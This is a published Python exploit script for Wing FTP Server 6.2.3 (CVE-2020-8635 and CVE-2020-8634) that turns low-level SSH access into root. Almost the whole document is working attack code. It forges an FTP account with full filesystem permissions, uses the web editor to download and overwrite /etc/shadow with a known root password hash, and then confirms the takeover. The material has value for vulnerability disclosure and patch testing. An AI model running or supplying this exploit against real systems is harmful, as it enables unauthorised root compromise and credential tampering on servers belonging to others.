1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 |
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-02 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.3 # Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86) # Given SSH access to a target machine with Wing FTP Server installed, this program: # - SSH in, forges a FTP user account with full permissions (CVE-2020-8635) # - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634) # Each step can all be done manually with any kind of code execution on target (no SSH) # To setup, start SSH service, then run ./wftpserver.Wing FTP services will start after a domain is created. # https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup) #!/usr/bin/python3 #python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080 import paramiko,sys,warnings,requests,re,time,argparse #Python warnings are the worst warnings.filterwarnings("ignore") #Argument handling begins parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance.")) parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True) parser.add_argument("-u", "--username", help="SSH username", required=True) parser.add_argument("-p", "--password", help="SSH password", required=True) parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true') parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False) args = parser.parse_args() #Global Variables global username global password global proxies global port global hostname global DEBUG username = args.username password = args.password #Turn on debug statements if args.verbose: DEBUG = True else: DEBUG = False #Handle nonstandard SSH port if ':' in args.target: socket = args.target.split(':') hostname = socket[0] port = socket[1] else: hostname = args.target port = "22" #Prepare proxy dict (for Python requests) if args.proxy: if ("http://" not in args.proxy) and ("https://" not in args.proxy): print(f"[!] Invalid proxy.Proxy must have http:// or https:// {proxy}") sys.exit(1) proxies = {'http':args.proxy,'https':args.proxy} else: proxies = {} #Argument handling ends #This is what a <username>.xml file looks like. #Gives full permission to user (h00p:h00p) for entire filesystem '/'. #Located in $_WFTPROOT/Data/Users/ evilUserXML = """<?xml version="1.0" ?> <USER_ACCOUNTS Description="Wing FTP Server User Accounts"> <USER> <UserName>h00p</UserName> <EnableAccount>1</EnableAccount> <EnablePassword>1</EnablePassword> <Password>d28f47c0483d392ca2713fe7e6f54089</Password> <ProtocolType>63</ProtocolType> <EnableExpire>0</EnableExpire> <ExpireTime>2020-02-25 18:27:07</ExpireTime> <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession> <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession> <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser> <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser> <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut> <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut> <MaxConnection>0</MaxConnection> <ConnectionPerIp>0</ConnectionPerIp> <PasswordLength>0</PasswordLength> <ShowHiddenFile>0</ShowHiddenFile> <CanChangePassword>0</CanChangePassword> <CanSendMessageToServer>0</CanSendMessageToServer> <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth> <SSHPublicKeyPath></SSHPublicKeyPath> <SSHAuthMethod>0</SSHAuthMethod> <EnableWeblink>1</EnableWeblink> <EnableUplink>1</EnableUplink> <CurrentCredit>0</CurrentCredit> <RatioDownload>1</RatioDownload> <RatioUpload>1</RatioUpload> <RatioCountMethod>0</RatioCountMethod> <EnableRatio>0</EnableRatio> <MaxQuota>0</MaxQuota> <CurrentQuota>0</CurrentQuota> <EnableQuota>0</EnableQuota> <NotesName></NotesName> <NotesAddress></NotesAddress> <NotesZipCode></NotesZipCode> <NotesPhone></NotesPhone> <NotesFax></NotesFax> <NotesEmail></NotesEmail> <NotesMemo></NotesMemo> <EnableUploadLimit>0</EnableUploadLimit> <CurLimitUploadSize>0</CurLimitUploadSize> <MaxLimitUploadSize>0</MaxLimitUploadSize> <EnableDownloadLimit>0</EnableDownloadLimit> <CurLimitDownloadLimit>0</CurLimitDownloadLimit> <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit> <LimitResetType>0</LimitResetType> <LimitResetTime>1580092048</LimitResetTime> <TotalReceivedBytes>0</TotalReceivedBytes> <TotalSentBytes>0</TotalSentBytes> <LoginCount>0</LoginCount> <FileDownload>0</FileDownload> <FileUpload>0</FileUpload> <FailedDownload>0</FailedDownload> <FailedUpload>0</FailedUpload> <LastLoginIp></LastLoginIp> <LastLoginTime>2020-01-26 18:27:28</LastLoginTime> <EnableSchedule>0</EnableSchedule> <Folder> <Path>/</Path> <Alias>/</Alias> <Home_Dir>1</Home_Dir> <File_Read>1</File_Read> <File_Write>1</File_Write> <File_Append>1</File_Append> <File_Delete>1</File_Delete> <Directory_List>1</Directory_List> <Directory_Rename>1</Directory_Rename> <Directory_Make>1</Directory_Make> <Directory_Delete>1</Directory_Delete> <File_Rename>1</File_Rename> <Zip_File>1</Zip_File> <Unzip_File>1</Unzip_File> </Folder> </USER> </USER_ACCOUNTS> """ #Verbosity function. def log(string): if DEBUG != False: print(string) #Checks to see which URL is hosting Wing FTP #Returns a URL, probably. HTTPS preferred.empty url is checked in main() def checkHTTP(hostname): protocols= ["http://","https://"] for protocol in protocols: try: log(f"Testing HTTP service {protocol}{hostname}") response = requests.get(protocol + hostname, verify=False, proxies=proxies) try: #Server: Wing FTP Server if "Wing FTP Server" in response.headers['Server']: print(f"[!] Wing FTP Server found at {protocol}{hostname}") url = protocol + hostname except: print("") except Exception as e: print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}") return url #Log in to the HTTP interface.Returns cookie def getCookie(url,webuser,webpass,headers): log("getCookie") loginURL = f"{url}/loginok.html" data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "} response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies) ftpCookie = response.headers['Set-Cookie'].split(';')[0] print(f"[!] Successfully logged in!Cookie is {ftpCookie}") cookies = {"UID":ftpCookie.split('=')[1]} log("return getCookie") return cookies #Change directory within the web interface. #The actual POST request changes state.We keep track of that state in the returned directorymem array. def chDir(url,directory,headers,cookies,directorymem): log("chDir") data = {"dir": directory} print(f"[*] Changing directory to {directory}") chdirURL = f"{url}/chdir.html" requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) log(f"Directorymem is nonempty. --> {directorymem}") log("return chDir") directorymem = directorymem + "|" + directory return directorymem #The application has a silly way of keeping track of paths. #This function returns the current path as dirstring. def prepareStupidDirectoryString(directorymem,delimiter): log("prepareStupidDirectoryString") dirstring = "" directoryarray = directorymem.split('|') log(f"directoryarray is {directoryarray}") for item in directoryarray: if item != "": dirstring += delimiter + item log("return prepareStupidDirectoryString") return dirstring #Downloads a given file from the server.By default, it runs as root. #Returns the content of the file as a string. def downloadFile(file,url,headers,cookies,directorymem): log("downloadFile") print(f"[*] Downloading the {file} file...") dirstring = prepareStupidDirectoryString(directorymem,"$2f")#Why wouldn't you URL-encode?! log(f"directorymem is {directorymem} and dirstring is {dirstring}") editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768" response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies) filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0] log(f"downloaded file is: {filecontent}") log("return downloadFile") return filecontent,editURL #Saves a given file to the server (or overwrites one).By default it saves a file with #644 permission owned by root. def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem): log("saveFile") log(f"Directorymem is {directorymem}") saveURL = f"{url}/savefile.html" headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer} dirstring = prepareStupidDirectoryString(directorymem,"/") log(f"Stupid Directory string is {dirstring}") data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent} requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False) log("return saveFile") #Other methods may be more stable, but this works. #"You can't argue with a root shell" - FX #Let me know if you know of other ways to increase privilege by overwriting or creating files.Another way is to overwrite #the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV). #Mind that in this version of Wing FTP, files will be saved with umask 111.This makes changing /etc/sudoers infeasible. #This routine overwrites the shadow file def overwriteShadow(url): log("overwriteShadow") headers = {"Content-Type": "application/x-www-form-urlencoded"} #Grab cookie from server. cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers) #Chdir a few times, starting in the user's home directory until we arrive at the target folder directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="") #Download the target file. shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem) # openssl passwd -1 -salt h00ph00p h00ph00p rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0" rootpass = "root:" + rootpass + ":18273:0:99999:7:::" #Create new shadow file with different root password & save newshadow = re.sub("root(.*):::",rootpass,shadowfile) print("[*] Swapped the password hash...") saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem) print("[*] Saved the forged shadow file...") log("exit overwriteShadow") def main(): log("main") try: #Create ssh connection to target with paramiko client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy) try: client.connect(hostname, port=port, username=username, password=password) except: print(f"Failed to connect to {hostname}:{port} as user {username}.") #Find wftpserver directory print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)") stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'") wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0] print(f"[!] Found Wing FTP directory: {wftpDir}") #Find name of <domain> stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1") lsresult = stdout.read().decode("utf-8").split('\n') #Checking if wftpserver is actually configured.If you're using this script, it probably is. print(f"[*] Determining if the server has been configured.") domains = [] for item in lsresult[:-1]: item = item.rsplit('/',1)[1] if item !="_ADMINISTRATOR" and item != "": domains.append(item) print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}") domain = domains[0] #Check if the users folder exists userpath = wftpDir + "/Data/" + domain print(f"[*] Checking if users exist.") stdin, stdout, stderr = client.exec_command(f"file {userpath}/users") if "No such file or directory" in stdout.read().decode("utf-8"): print(f"[*] Users directory does not exist.Creating folder /users") #Create users folder stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users") #Create user.xml file print("[*] Forging evil user (h00p:h00p).") stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml") #Now we can log into the FTP web app with h00p:h00p url = checkHTTP(hostname) #Check that url isn't an empty string (and that its a valid URL) if "http" not in url: print(f"[!] Exiting... cannot access web interface.") sys.exit(1) #overwrite root password try: overwriteShadow(url) print(f"[!] Overwrote root password to h00ph00p.") except Exception as e: print(f"[!] Error: cannot overwrite /etc/shadow: {e}") #Check to make sure the exploit worked. stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root") out = stdout.read().decode('utf-8') err = stderr.read().decode('utf-8') log(f"STDOUT - {out}") log(f"STDERR - {err}") if "root:$1$h00p" in out: print(f"[*] Success!The root password has been successfully changed.") print(f"\n\tssh {username}@{hostname} -p{port}") print(f"\tThen: su root (password is h00ph00p)") else: print(f"[!] Something went wrong... SSH in to manually check /etc/shadow.Permissions may have been changed to 666.") log("exit prepareServer") finally: client.close() main() |